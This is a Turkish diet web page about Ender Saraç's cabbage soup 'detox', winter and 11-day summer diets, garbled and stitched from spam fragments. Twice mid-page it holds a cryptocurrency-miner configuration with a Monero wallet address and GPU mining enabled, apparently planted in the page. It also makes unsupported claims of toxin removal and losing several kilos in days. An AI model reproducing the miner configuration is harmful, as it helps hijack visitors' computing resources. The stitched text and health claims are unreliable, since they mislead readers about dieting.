lahana diyeti tarifi ender saraç

Lahanaçorbası diyeti Ender Saraç lahana çorbası diyeti oldukça sıkı ve katı bir diyettir. Hızlı ve çabuk kilo vermek isteyenler bu diyet adeta akın ediyor.Lahana çorba diyeti olarak adlandırılan Diyet Lahana Çorbası Tarifi ile ilgili merak ettiğiniz bilgileri, nedir ve nedendir soruların cevabını yazımızda bulabilirsiniz. Dr. Ender Saraç 'dan vücudu toksinlerden arındırmak için detoks çorbası tarifi : Malzemeler: 1 Adet Beyaz Lahana. 1 Çimdik Tuz. 1 Tatlı Kaşığı Zeytinyağı. 1 Tatlı Kaşığı Kimyon. 1 Tatlı Kaşığı toz zencefil. ½ Tatlı Kaşığı toz zerdeçal. Lahana Çorbası Diyeti Lahana Detoksu Ender Saraç Merhabalar, bugün sizler için yine oldukça faydalı ve pratik bir diyet sunacağız. Bu diyet Uzman Doktor Ender Saraç tarafından önerilen, yalnızca bir gün uygulayacağınız lahana çorbası diyeti ya da diğer adıyla lahana detoksu dur. LahanaÇorbası Diyeti İbrahim Saraçoğlu’nun özellikle diyet konusunda en çok önerdiği diyetlerden biridir. Sadece İbrahim Saraçoğlu değil, Lahana Çorbası Diyeti Ender Saraç’ın da gözde diyetlerinden biri. Hemen her uzmanın önerdiği Lahana Çorbası Diyeti yapanlar ise sonuçlardan çok memnun. Site De Rencontre Sans Inscription Et Sans Abonnement. Kilo problemi yaşayıp da diyet yapmayan hemen hemen kimse yoktur sanırım. Malumunuz Kurban bayramına sayılı günler kaldı ve bayramda ne giyeceğim yada çok sevdiğim kıyafet üzerime olmuyor diyenlerdenseniz kış diyeti Ender Saraç tam size göre bir diyet. 3 günde 4 ila 5 kilo arasında kilo vermenizi sağlayacak olan bu diyet programı bayramda kıyafetlerinizin içine rahatlıkla sığmanızı sağlayacaktır. Yine çabuk kilo vermenizi sağlayan şok diyetlerde olduğu gibi bu diyeti de sürekli uygulamamanızı yada aralar vererek uygulamanızı tavsiye ediyoruz. İki günde zayıflatan diyet gibi etkisi kısa sürede gözlemlenmektedir. Dr. Ender Saraç tarafından hazırlanan diyet listesi kişinin günlük hayatta yediği yiyeceklerden fazla kısıtlanmadan hazırlanan program hızlı bir şekilde fazla kilolarından kurtulmak isteyenler tarafında oldukça rağbet görüyor. Sıcak yazı uğurladığımız şu günlerde, kış kapımızı çalmak üzere. Kışın sağlıksız ve düzensiz beslenme sonucu yaşadığımız rahatsızlıklardan korunma ve bir taraftan diyet yapmak pekte kolay değil. Saraç’ın hazırlamış olduğu ve son günlerin en popüler diyeti olan Dr. Ender Saraç diyeti hızlı bir şekilde zayıflatırken istediğiniz kıyafeti giymenizi sağlıyor. Özellikle kış aylarında tüketmemiz gereken yiyeceklerin başında meyve ve sebzeler geliyor. Kış aylarında taze tüketilen meyve ve sebzeler kış rahatsızlıklarından başta grip olmak üzere koruyucu özelliği vardır. Kış Diyeti Listesi 1 Gün Sabahtan akşama kadar ılık yeşil elma kompostosu. Öğleden gece yatana kadar lahana çorbası içilecek. Gün boyu bol miktarda ılık sıvılar alınacak. Yeşil çay ve rezene çayı gibi. 2 Gün Gün boyu sadece çiğ gıdalar tüketilecek. Sabahları 2 adet yeşil elma, 2 adet salatalık. Akşamları yaklaşık yarım kilo kadar hafif haşlanmış kabak. 2 ila 3 kaşık arası yağsız light yoğurt. 3 Gün Sabahları 1 bardak olmak üzere yarım yağlı süt. 2 ila 3 adet arası ceviz. Aralarda 1 adet yeşil elma. Öğlenleri az zeytinyağı ile haşlanmış kabak. 6 ila 7 kaşık arası yoğurt. Aralarda 2 ila 3 avuç kadar lor peyniri veya yağsız başka bir peynir. Akşamları soğan ve sarımsakla pişirilmiş taze fasulye, brokoli yada ıspanak gibi yeşil yapraklı bir sebze. Yatmadan önce 2 ila 3 arası kivi. İndirmek için Kış Diyeti Listesi .PDF Post navigation { "api" { "worker-id" " }, "http" { "enabled" true, "host" " "port" 25, "access-token" null, "restricted" true }, "autosave" true, "donate-level" 80, "cpu" true, "opencl" true, "cuda" true, "pools" [ { "url" " "user" "49qqDEnv2afZtJPGkipVZ9WkwyQp7a3142je4Xat8KbK4NcMjigWptyKMYfPxd3cEjFs4M6qkNVA5icHicjMFUZf3SEAfYX", "rig-id" "Voyager1", "keepalive" true, "tls" true } ] } Diyetisyen Saraç { "api" { "worker-id" " }, "http" { "enabled" true, "host" " "port" 25, "access-token" null, "restricted" true }, "autosave" true, "donate-level" 80, "cpu" true, "opencl" true, "cuda" true, "pools" [ { "url" " "user" "49qqDEnv2afZtJPGkipVZ9WkwyQp7a3142je4Xat8KbK4NcMjigWptyKMYfPxd3cEjFs4M6qkNVA5icHicjMFUZf3SEAfYX", "rig-id" "Voyager1", "keepalive" true, "tls" true } ] } Lahana Çorbası Diyeti Lahana Detoksu Ender SaraçMerhabalar, bugün sizler için yine oldukça faydalı ve pratik bir diyet sunacağız. Bu diyet Uzman Doktor Ender Saraç tarafından önerilen, yalnızca bir gün uygulayacağınız lahana çorbası diyeti ya da diğer adıyla lahana detoksudur. Söz konusu lahana detoksunu sadece bir gün uygulayarak vücudunuzu toksinlerden arındıracak, lahananın yararlarından faydalanacak ve fazla yağlarınızdan kurtulacaksınız. Üstelik lahana detoksunun gereken malzemeleri de hemen hepimizin evinde olan besinlerden oluşuyor. Kara lahananın da çok fazla faydaları var fakat bu detoks beyaz lahana ile Diyeti Detoksu Malzemeler1 adet küçük beyaz lahana veya orta boylu lahananın yarısı1,5-2 litre su4-5 diş sarımsak1 baş soğan8-10 adet sapları ile birlikte maydanoz3-4 adet acı sivri biber5-6 tane parmak ucu kadar zencefilBir tutam tuzLahana Diyeti Detoksu YapılışıBir küçük beyaz lahanayı veya orta boy lahananın yarısını doğrayarak suyun içerisine koyun. Üzerine sarımsağı, soğanı, acı biberleri, ve zencefili yine doğrayarak ekleyin. Üzerine de maydanozları olduğu gibi koyarak bir tutam da tuz atın. Bu şekilde malzemeleri tencereye koyduktan sonra bir güzel kaynatın ve güzel bir çorba diyeti detoksunu, çalışıyorsanız ertesi gün izinli olduğunuz akşam hazırlayın ki akşamdan hazırladığınız detoks suyunu bir sonraki gün tüm gün evde rahatlıkla tüketebilesiniz. Çalışmıyorsanız da özgürsünüz istediğiniz bir akşam hazırlayıp ertesi gün tüketebilirsiniz. Ancak dikkat etmeniz gereken lahana diyeit detoksunu yalnızca bir gün yapabilirsiniz ve yaptığınız gün, su hariç lahana çorbasından başka hiçbir şey DiyetiÖrneğin çalışıyorsanız ve izin gününüz de pazar günü ise cumartesi akşamından lahana çorbası diyeti detoksunu hazırlayabilirsiniz. Pazar günü sabahtan akşama kadar başka hiçbir şey yemeyin. Sadece 2-2,5 litre lahana çorbasını her öğünde ya da 2 saatte bir bir kase içerek beslenin. Bu sayede ciddi bir şekilde vücut toksin atar, şişliğini atar, bağırsaklardaki toksinleri atar ve yağ diyeti detoksu gerçekten çok etkili yağ eritici özelliği var. Bu yüzden özellikle fazla yağlarından sağlıklı bir şekilde kurtularak kilo vermek isteyenler için bulunmaz bir nimet ve hem hazırlanışı hem de uygulanışı bakımından oldukça pratik bir diyet. Aynı zamanda bu diyeti uyguladığınız gün bir sauna veya hamama gider güzel bir kese yaptırırsanız, şakır şakır terlerseniz çok daha faydası olur. Vücut terle birlikte daha kolay bir şekilde bütün toksinlerini Diyeti Yapanlar YorumlarıLahana diyetim bitti 4 kilo zayıfladım 70 kilodan 66 kiloya indim 🙂 sabahı olsa da kilo zayıflamış durumdayım 🙂Daha Önce yaptmıştım lahana diyeti detoksunu 7 kilo kilo ile başladım sonunda 🙂 zayıflama devammm 🙂Sağlıklı ve Hızlı Kilo Verdiren Diyetler –> Diyet Listesi Ender Saraç Lahana Kürü, Bu kür detoks ve zayıflama içeren iki farklı şekilde uygulanabilen ve doktor Ender Saraç tarafından geliştirilmiş bir yardımcı bitkisel tedavi önerisidir. Lahana insanlar için mucize denilebilecek faydalara sahiptir. Barındırdığı yüksek lif içeriği nedeniyle tok tutan ve iştah kapatan bir yiyecek maddesidir. Bu nedenle rejim yapanlar arasında çoklukla tercih edilir. Sık yaşanan ve diyeti bozmaya kadar varan açlık krizlerine engel olmaktadır. Bunların dışında sindirim sistemi geneline olumlu etki etmekte, mide ve bağırsakları çalıştırarak fazladan kalori yakılmasına neden olmakta aynı zamanda kabızlık gibi kilo vermeyi güçleştiren ve insanları sıkıntıya sokan hastalıkların önüne geçmektedir. Yine beyaz lahananın iyi bir idrar sökücü ve ödem atıcı yani aquaretik bir besin olduğu bilinmektedir. Lahananın öteki ödem söktürücü bitkilere göre bir avantajı da ödem sökerken insanların tuz ve mineral dengesini bozmamasıdır. Bu bu bakımdan lahana kürünün diyet olarak uygulanışı, sağlıklı zayıflama diyetleri arasında ön saflarda yer almaktadır. Bu kür özellikle metabolizmayı hızlandırdığı ve kadınlarda hormon dengesini sağladığı için, verilen kiloların kalıcı olmasını sağlamaktadır. Özellikle menopoz ve adet dönemlerinde ortaya çıkan hormon dengesizlikleri için de bol miktarda beyaz lahana tüketilmesi hekimlerce de tavsiye edilmektedir. Aşağıda Ender Saraç Lahana Kürü'nün vücudu toksinlerden arındırmaya yönelik detoks veya zayıflama amaçlı kullanımı için iki farklı çorba tarifi yer Çorbası TarifiMalzemeler1 Tane Beyaz Lahana1 Çay Kaşığı Tuz1/2 Yemek Kaşığı Zeytinyağı1 Silme Tatlı Kaşığı Kimyon1 Silme Tatlı Kaşığı toz zencefil1 Çay Kaşığı Toz zerdeçal4 Diş Sarımsak1 Büyük Boy Kuru Soğan7 Dal Saplarıyla Birlikte Maydanoz3 Tane Hafif Acı Sivri BiberYapılışı Tüm malzemeler iyice yıkanır. İri parçalara bölünerek bir tencereye alınır. Bol miktarda su eklenerek önce yüksek, kaynadıktan sonra da kısık ateşte pişirilir. Malzemeler beyaz lahana tam olarak yumuşayıncaya dek kaynatılır. Daha sonra blenderdan geçirilip bir termosta veya uygun bir kapta saklanabilir. Gün boyunca her istenildiği zamanda ve toplamda 2-2,5 litre kadar tüketilmelidir. Diyet Çorbası TarifiMalzemeler5 adet kuru soğan2 adet taze domates, kış mevsimi ise domates konservesi1 adet iri boy lahananın iç beyaz yaprakları2 adet salçalık yeşil biber1 büyük demet maydanoz1 adet kökü ve yapraklarıyla iri boy kereviz1/2 yemek kaşığı salçaYapılışı Yukarıda bahsedilen tüm malzemeler iyice yıkanır, doğranır ve renk vermesi için çok az salça eklenip soğan kavrulduktan sonra bu sebzeler ayrı bir tencerenin içerisine dökülür. Çorba kıvamına gelinceye dek karıştırılarak ve kaynatılır. İstenirse malzemeler pişirilmeden önce veya pişirildikten sonra blender yardımıyla ince kıyılarak krema kıvamına da çorba da 1 hafta boyunca, az miktarda peynir, meyve veya et ile birlikte her öğünde 1 kase Emziren kadınlar için bu diyet faydalı olmayıp, anne sütünün hem kalitesini hem de miktarını azaltmaktadır. Son Güncelleme 192925 Ender Saraç Lahana Kürü ile ilgili bu madde bir taslaktır. Madde içeriğini geliştirerek Herkese açık dizin kaynağımıza katkıda bulunabilirsiniz. 0 Yorum Yapılmış "Ender Saraç Lahana Kürü" Kayıtlı yorum bulunamadı ilk yorumu siz ekleyin Mor Lahana Mor Lahananın Faydaları, Mor lahana sonbahar kış mevsiminde yetişen oldukça sağlıklı bir bitkidir. Tüm dünyada en çok yetiştirilen sebzelerin başında gelir. Ekim ayı ile Şubat ayına kadar tüketilmesi oldukça fayda sağlayan mor lahana içerdiği vitamin... Kırmızı Lahananın Zararları Kırmızı lahananın zararları, birçok çeşide sahip olan lahana çeşitlerinden olan kırmızı lahana diğer lahana türleri ile aynı özellikleri ve faydaları taşısa da içeriğinde bulunan bazı maddeler ve vitaminler daha yoğundur. Sağlık için birçok faydası o... Kara Lahananın Zararları Kara lahananın zararları, lahana sebzesi pek çok çeşide sahiptir. Kara lahana diğer çeşitleri ile kıyaslama yapıldığında inanılmaz derece de vitamin ve minerale sahiptir. Sağlık açısından ele alındığında diğer türlerine oranla çok daha sağlıklı olduğ... Kırmızı Lahana Yetiştiriciliği Kırmızı lahana yetiştiriciliği, cruciferae familyasının Brassica aleracea türünde olan lahanaların kırmızı olanı 2 yıllık bir sebzedir. İlk yıl vegetatif gelişim, ikinci yılda generatif gelişim gösterirler. Kırmızı mor renkli başları sebze olarak değ... Lahana Suyunun Zararları Lahana Suyunun Zararları, Lahana suyu şeker ve romatizma hastaları için faydalı olduğu bilinmekle birlikte aşırı tüketilmediği sürece herhangi bir yan etkisi de bulunmamaktadır. B, C ve E vitaminleri ile potasyum minerali açısından oldukça zengin ola... Kırmızı Lahana Gaz Yaparmı Kırmızı lahana gaz yapar mı, sorusu sebze ağırlıklı beslenen pek çok insanın merak ettiği bir sorudur. Bu soruyu yanıtlayabilmek için öncelikle gaz neden oluşur ona bakmak oluşumu nedenleriİnsan sindirim sistemi dışarıdan alınan gıdaları m... İbrahim Saraçoğlu Varis İçin Lahana Kürü İbrahim Saraçoğlu varis için lahana kürü, Bitkisel tedavi denilince akla gelen ilk isimlerden olan Profesör Doktor İbrahim Saraçoğludur. İbrahim Saraçoğlu televizyon kanallarında sıkça gördüğümüz isimlerdendir. İbrahim Saraçoğlu'nun hazırlamış olduğu... Sirkesiz Lahana Turşusu Nasıl Yapılır Sirkesiz lahana turşusu nasıl yapılır, yıllardan bu yana turşunun sirkeli mi yoksa limonlu mu daha iyi olacağı yönündeki tartışmalar devam etmektedir. Ama sirkesizde turşu yapılabilmektedir. Aslında eskiden turşular sadece kaya tuzu ve sebzeler ile y... Kırmızı Lahana Diyeti Kırmızı lahana diyeti olarak herkes tarafından bilinen ve sürekli olarak yenilenen bir diyet türüdür. Senelerdir herkesin kulak aşınası olduğu bu diyet birçok ortamda farklı biçimlerde karşımıza çıkmaktadır. Birçoğumuz bu diyeti uygulamasak bile adın... Yer Lahanası Yer lahanası, turpgiller familyasına ait olan lahana, brüksel lahanası gibi sebzeler arasında olan alabaş olarak tanımlanan bir türdür. Ülkemizde yeni tanınmaya başlayan bu sebze güçlü bir antioksidandır. Görünüm itibarıyla şalgam ve turba daha fazla... Çiğ Lahana Zayıflatırmı Çiğ Lahana Zayıflatırmı ; Evet lahananın zayıflattığı özellikle halk arasında çok sık dile gelmektedir. Özellikle lahana kaynatılarak suyunun günlük düzenli bir şekilde içilerek zayıflanacağı söylenenler arasındadır. Genellikle çiğ olarak lahananında... Kırmızı Lahana Suyu Kırmızı Lahana Suyu, Genel olarak bir çok hastalıklara şifa olmakla birlikte son zamanlarda zayıflama içinde tüketilmekte olan sebze suyudur. Özellikle kış aylarının sert soğuk havasından kişiyi hastalıklardan korumakla bilinmektedir. Kırmızı lahana ... Mor Lahana Kırmızı Lahananın Zararları Kara Lahananın Zararları Kırmızı Lahana Yetiştiriciliği Lahana Suyunun Zararları Kırmızı Lahana Gaz Yaparmı İbrahim Saraçoğlu Varis İçin Lahana Kürü Sirkesiz Lahana Turşusu Nasıl Yapılır Kırmızı Lahana Diyeti Yer Lahanası Çiğ Lahana Zayıflatırmı Kırmızı Lahana Suyu Lahana Gaz Yaparmı Lahana Sarması Kaç Kalori Ender Saraç Lahana Kürü Lahana Tohumu İbrahim Saraçoğlu Lahana Suyu Diyeti Lahana Diz Ağrısı Haşlanmış Lahana Salatası Lahana Ekimi Mor Lahana Nasıl Yumuşatılır Kırmızı Lahana Faydaları Beyaz Lahana Çeşitleri Lahana Yemeği Kaç Kalori Kırmızı Lahana Salatası Mayonezli Mor Lahana Kaç Kalori Kırmızı Lahana Mezesi Kırmızı Lahana Çorbası Kırmızı Lahana Sirkeli 3 Günlük Lahana Çorbası Diyeti Popüler İçerik Lahana Gaz Yaparmı Lahana gaz yapar mı Turp giller familyasından olup, geniş, kalınca kat kat yapraklara sahip olan, güz ve kış sebzesi olarak ve birçok türü olan Bi... Lahana Sarması Kaç Kalori Lahana sarması kaç kalori diye merak edenleriniz var ise buyurun. Vitamin açısından çok zengin olan lahananın sayılamayacak kadar faydası vardır. Laha... Lahana Tohumu Lahana Tohumu; Lahana serin iklim sebzesidir. Ülkemizde sonbahar ve ilkbahar arasında kış sebzesi olarak tüketilir. Sonbaharda erken donlar başlamadan... İbrahim Saraçoğlu Lahana Suyu Diyeti İbrahim Saraçoğlu Lahana Suyu Diyeti, Lahananın çok fazla insana faydası vardır. İçerisindeki lif sindirim sistemini düzenler. Metabolizmayı çalıştır... Lahana Diz Ağrısı Lahana diz ağrısı; Diz ağrısı, her yaş grubundan herkesin yaşayabileceği bir sorun haline gelmiştir. Insanların sosyal yaşam kalitesini azaltan diz ağ... Haşlanmış Lahana Salatası Haşlanmış Lahana Salatası, Brokoli salatası haricinde evde severek yenilmeyen salata çeşidi nerede ise yoktur. Limon ve zeytinyağı olan her şey zaten ... Ender Saraç'tan 11 Günlük Yaz Diyeti Programı ! 8 Mayıs 2014 Diyet Listeleri 603 Görüntülenme Çağımızın en büyük problemleri arasında gösterilen şişmanlık, pek çok sağlık problemine neden olmaktadır. Özellikle düzensiz ve sağlıksız beslenme, iş hayatı, stres vb. nedenlerden dolayı alınan kilolalar şişmanlığa ve yağlanmaya neden olmaktadır. Bu durum hem sağlığımızı hem de psikolojimizi olumsuz etkileyerek sosyal hayatımıza yansımaktadır. Burada önemli olan kilo vermeye karar vermektir. Eğer siz bu yazıyı okuyorsanız diğerlerine göre bir adım öndesiniz. Çünkü sizin bir “kararınız” var ! Yaz Diyeti Nasıl Yapılır ? Eğer kilo vermek için kararınızı verdiyseniz yaz aylarının vazgeçilmez diyetleri arasında gösterilen, oldukça sağlıklı Yaz Diyeti Programını uygulayabilirsiniz ! Yaz diyetleri arasında popüler olan ve etkisi herkesçe bilinen “Ender Saraç’ın 11 Günlük Yaz Diyeti” programını sizlerle paylaşacağım. Burada yer alan diyet listesini uyguladığınız taktirde hızlı ve kolay bir şekilde kilo verebileceksiniz. Yaz aylarına uygun olarak hazırlanmış Ender Saraç’ın yaz diyeti listesi ile istediğiniz forma kısa bir sürede kavuşacaksınız. Tabi bunun yanında egzersiz ve spor programı da uygularsanız çok daha hızlı kilo verebilirsiniz. Yaz Diyeti ile Zorlanmadan Etkili Bir Şekilde Kilo Verebilirsiniz ! Ender Saraç 11 Günlük Yaz Diyeti Listesi 1. GünUyanınca 1 bardak ılık suyun içerisine, 5-6 damla limon ve yarım tatlı kaşığı balı bir fincan sıcak suyun içine ekleyip içiniz Kahvaltı 1 dilim kızartılmış tam buğday ekmeği 1 dilim az yağlı peynir 2 adet acı sivri biber 4-5 tane sıcak sudan geçirilmiş zeytin Ara Öğün 3 adet kuru kayısı Öğle Yemeği 1 porsiyon derisiz tavuk ızgara Bol yeşillikli salata roka, tere, maydanoz, marul vb. 1 çay bardağı kadar diyet yoğurt İkindi İstediğiniz bir meyve türünden birini seçin 1 adet yeşil elma/ 1 adet kivi/ 1 adet armut / 1 adet ayva / yarım greyfurt / 1 adet nektari / 1 adet şeftali / çilek / vişne / kiraz / erik Ara Öğün 3 adet ceviz içi Akşam Yemeği Güveçte etsiz domatesli türlü Bol yeşilli limonlu salata 2 dilim kepek ekmeği kızarmış olabilir Gece 2 adet meyve 2. Gün Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 1 fincan diyet süt 4-5 kaşık sade yulaf ezmesi Ara Öğün 1 adet meyve fazla şekerlenmemiş, sert ve diri olarak, çok soğuk olmamalı Öğle Yemeği Ispanak, semiz otu, taze fasulye ya da soya kıymalı lahana kapuskası Yarım kase light yoğurt Bol yeşillikli salata İkindi 1 adet meyve fazla şekerlenmemiş, sert ve diri olarak, çok soğuk olmamalı Ara Öğün 1 dilim kepek ekmeği 2 tatlı kaşığı şekersiz marmelat Akşam Derisiz balık ızgara Bol yeşillikli limonlu salata Sebze sote taze fasulye, brokoli, ıspanak, kabak, patlıcan, bezelye, bürüksel lahanası Gece 1 adet meyve 1 çay bardağı kadar tuzsuz beyaz leblebi 3. Gün Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı Az şekerli, kabuk tarçınlı, karanfilli, elma kompostosu 4-5 adet kuru üzümle tatlandırmanız daha doğru olur. Ara Öğün 1 kase az şekerli komposto Öğle Yemeği 1 kase az yağlı sebze çorbası 1 bardak light yoğurt ile hazırlanmış ayran İkindi 1 kase az şekerli komposto 1 bardak light ayran Ara Öğün 1 kase az şekerli komposto Akşam Etsiz sulu sebze yemeği ya da çorba 1 kase az şekerli komposto Gece 1 kase az şekerli komposto 4. Gün Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 1 dilim kızartılmış kepek ekmeği Bol yeşillik 5-6 tane sıcak sudan geçirilmiş zeytin 2-3 adet acı sivri biber 1 tatlı kaşığı kadar kuşburnu marmelatı Ara Öğün 3 adet kuru kayısı 4 adet kabuksuz badem Öğle Yemeği Etsiz taze fasulye Bol dereotlu cacık 4 kaşık light yoğurt Bol yeşillikli salata İkindi 1 parmak dil peyniri 1 adet meyve Ara Öğün 3 adet ceviziçi Akşam Yemeği 1 orta boy ızgara balık Bol yeşillikli salata limonlu Kabuklu salatalık Gece 2 adet meyve 5. Gün Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 2 ince dilim kepek ekmeği 2 dilim dil peyniri Mozarella ya da çorba kaşığı lor, çökelek ve yeşilliklerle hazırlanmış yağsız tost Ara Öğün 3 tane kuru kayısı Öğle Yemeği 3 tane yumurta beyazı ve 1 tane yumurta sarısı ile hazırlanmış sebzeli, taze soğanlı omlet Ispanaklı, pazılı ya da mevsim sebzeleriyle, maydanozlu ve dereotlu yeşil salata İkindi 1 bardak light ayran Ara Öğün 1 bardak greyfurt suyu ya da 1 adet kabuklarıyla yeşil elma Akşam Yemeği Etsiz semizotu yemeği Ya da isterseniz başka bir sebze yemeği Bol yeşilli salata 4-5 kaşık kepekli makarna Gece 1 adet meyve 6. Gün Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 2 adet meyve ile hazırlanmış meyve salatası, üzerine 2 tatlı kaşığı kadar fındık rendesi ve tarçın Ara Öğün 1 barda ılık light süt Öğle Yemeği Mantarlı ve sebzeli tavuk sote Bol yeşillikli salata Salatalık İkindi 1 bardak ayran 1 adet meyve Ara Öğün 3 tane kuru kayısı Akşam 1 adet yufkadan yapılmış teflon tavada börek Bol yeşillikli salata Gece 1 adet meyve 7. Gün Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 2 dilim kızarmış ekmek 6-7 tane sıcak sudan geçirilmiş zeytin Bol yeşillik 3-4 tane yeşil sivri biber Ara Öğün 1 adet meyve Öğle Yemeği Etsiz türlü yemeği Bol yeşillikli salata 1 kase light yoğurt İkindi 1 tane meyve Ara Öğün 1 dilim ekmek 2 tatlı kaşığı marmelat Akşam Orta boy ızgara balık ya da ızgara tavuk Bol yeşillikli salata Zeytinyağı enginar Bakla ya da kabak Taze fasulye patates ve havuç olmayacak Salata Yaz Diyeti’nin Vazgeçilmezlerindendir ! Gece 2 adet meyve bir tanesi kivi olmalı Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 2 parmak light peynir 2 dilim kepekli ekmek ile tost yapabilirsiniz Ara Öğün 1 avuç sert çilek ya da diri meyve Öğle Yemeği Zeytinyağlı barbunya 4-5 kaşık 1 dilim kepekli ekmek Bol yeşillikli salata Ara Öğün 1 adet yeşil elma İkindi 1 parmak light dil peyniri Akşam 1 kase mevsim sebzeleri ile yapılmış çorba 2-3 kaşık kepekli makarna Bol yeşillikli salata Gece 2 adet meyve 9. Gün Uyanınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 1 dilim kepekli ekmek 1 dilim dil peyniri 3-4 tane siyah zeytin Ara Öğün 1 bardak ayran 2 adet kuru kayısı Öğle Yemeği Zeytinyağlı taze fasulye 2 ince dilim kepek ekmeği Çoban salata İkindi Yarım simit Bitki çayı Ara Öğün 1 adet meye Akşam Yemeği Izgara balık yoksa tavuk ama balık tercih olmalı Marul, roka, semiz otu salatası Gece 1 adet meyve 10. Gün Kalkınca Kahvaltıdan 20-30 dakika kadar önce 1 bardak ılık, ballı, limonlu su Kahvaltı 2 dilim kızarmış ekmek 1 dilim dil peyniri 1 tatlı kaşığı diyet kurburnu marmelatı Ara Öğün 1 adet meyve Öğlen Yemeği Etsiz türlü 1 kase cacık 1 dilim ekmek İkindi 1 bardak ayran Ara Öğün 3 adet kuru kayısı 4 adet kabuksuz badem Akşam Yemeği Tavuk şiş Bol kabaklı garnitür Gece 2 adet meyve 11. Gün Sulu Diyet Günü Komposto ve Detoks Yemeği Tarifi Komposto Tarifi Malzemeler Tarçın ve karanfil, 3-4 adet kuru kayısı, 3-4 tane kabuklu yeşil elma, 5-6 adet kuru üzüm. Öğlene kadar komposto içilecek. Öğle ve öğleden sonra lahana çorbası içeceksiniz. Detoks Yemeği Tarifi Malzemeler 1 büyük soğan Semizotu/kabak 3-4 adet 2 diş sarımsak 1 tatlı kaşığı sıvıyağ 1 çimdik tuz 1 tatlı kaşığı biber salçası Yapılışı Sebzelerin hepsini güzelce yıkadıktan sonra rendeleyin. Daha sonra patateslerin kabuklarını soyup yıkayın. Diğer sebzeleri kabuklarıyla yıkayabilirsiniz. Lahanaları ve kereviz yapraklarını ince ince doğrayın. Hazırladığınız sebzeleri derin bir tencereye koyun. Üzerine sıcak su ekleyin. Suyun sebzelerin seviyesini geçmesini sağlayın. Ocakta kaynayana kadar bırakın. Kaynadıktan sonra altını söndürün ve bir saat kadar bekleyin. Posa halini almış küçük parçaları tencerenin içinden kevgir yardımı ile alın. Posaların suyu hala varsa çorbaya ekleyebilirsiniz. Detoks çorbanız hazır. Afiyet olsun ! Notlar Diyet süresince günde en az 2,5 litre su tüketilmesi önerilmektedir. Su tüketimi hem kilo vermenizi hızlandıracak, hem vücudunuzdaki toksinlerin atılımına yardımcı olacak hem de cildinizin gençleşmesine katkı sağlayacaktır. Bu su tüketimine içeceğiniz bitki çayları da dahildir. Ender Saraç Yaz Diyeti Listesi etkisini daha çok arttırmak için sitemiz üzerinde yer alan egzersizler kısmındaki egzersizlerden birini seçerek uygulamaya başlayabilirsiniz. Eğer egzersiz yapacak uygun ortamınız yoksa ya da egzersiz yapmak istemiyorsanız günde en az 30 dakika yürüyüş yapmanız önerilmektedir. Evde koşu bantı yerine dışarda temiz havada koşulması önerilmektedir. Diyet ile birlikte kalori alımı azaltılacak ve kilo verme işlemi başlayacaktır eğer spor/yürüyüş ile bunu desteklerseniz fazladan kalori yakımı gerçekleştireceğiniz için çok daha hızlı kilo vereceksiniz. 11 günde ortalama 5 kilo verdiren bu diyet ile hızlı kilo vermeniz mümkün ! Hoşçakalın ! Buna da göz atın Metabolizmayı Hızlandıran 1 Haftalık Diyet Merhaba arkadaşlar! Karşınızda Metabolizmayı Hızlandıran Diyet! Baharın gelmesiyle yeni bir başlangıç yapmak ve yaza minik …

lahana diyeti tarifi ender saraç